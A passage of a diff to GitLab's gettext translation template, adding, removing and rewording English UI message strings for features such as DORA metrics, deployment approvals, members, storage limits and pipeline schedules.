msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9310,21 +9454,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9812,6 +9941,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10700,6 +10832,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11093,6 +11228,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -11988,6 +12126,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12012,6 +12153,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12024,7 +12168,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12045,6 +12192,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12066,6 +12219,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12084,6 +12243,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12105,6 +12273,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12114,6 +12288,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12129,9 +12306,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13048,11 +13222,9 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13114,6 +13286,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13492,9 +13667,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13510,6 +13691,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13592,6 +13779,12 @@ msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -13860,7 +14053,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14085,6 +14278,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14572,6 +14768,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15769,10 +15968,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15781,9 +15977,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16280,9 +16473,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16316,9 +16506,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16636,9 +16823,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17063,9 +17247,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17384,16 +17565,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17490,6 +17668,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18146,9 +18327,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18561,6 +18739,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18573,6 +18754,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18597,6 +18784,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18615,6 +18805,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18627,9 +18820,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -18954,6 +19153,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19116,7 +19321,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19599,9 +19804,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19656,6 +19867,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19665,6 +19879,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19674,6 +19894,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19791,6 +20014,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20098,6 +20324,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20512,9 +20744,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20536,6 +20765,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20754,12 +20986,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -21817,7 +22061,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -21878,9 +22122,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22031,6 +22284,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23232,6 +23488,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23280,6 +23539,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23424,9 +23686,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23742,9 +24001,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -23903,9 +24159,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24038,6 +24291,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24107,9 +24363,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -24857,6 +25110,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -24872,9 +25128,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -24974,6 +25227,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25043,9 +25299,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25058,9 +25311,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25400,6 +25650,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25435,6 +25688,9 @@ msgstr[0] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25444,6 +25700,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25465,10 +25736,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25477,9 +25748,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25507,6 +25784,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25534,6 +25814,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -25819,10 +26105,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -25882,6 +26171,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26307,6 +26599,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26703,6 +27001,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26727,6 +27028,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26736,6 +27040,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26758,24 +27065,36 @@ msgid "NamespaceStorageSize|%{namespace_name} contains %{locked_project_count} l
msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_count} locked projects"
msgstr[0] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
+msgstr ""
+
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions become restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -26869,6 +27188,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -26996,9 +27336,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27314,9 +27651,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27492,6 +27826,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28024,13 +28373,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28081,6 +28424,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28506,6 +28861,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28671,6 +29029,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29095,12 +29456,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29258,9 +29613,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29401,12 +29753,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -29938,7 +30284,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -29953,6 +30299,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -29965,6 +30314,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -29992,6 +30344,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30010,6 +30368,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -30964,9 +31325,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31024,6 +31382,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31051,7 +31412,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
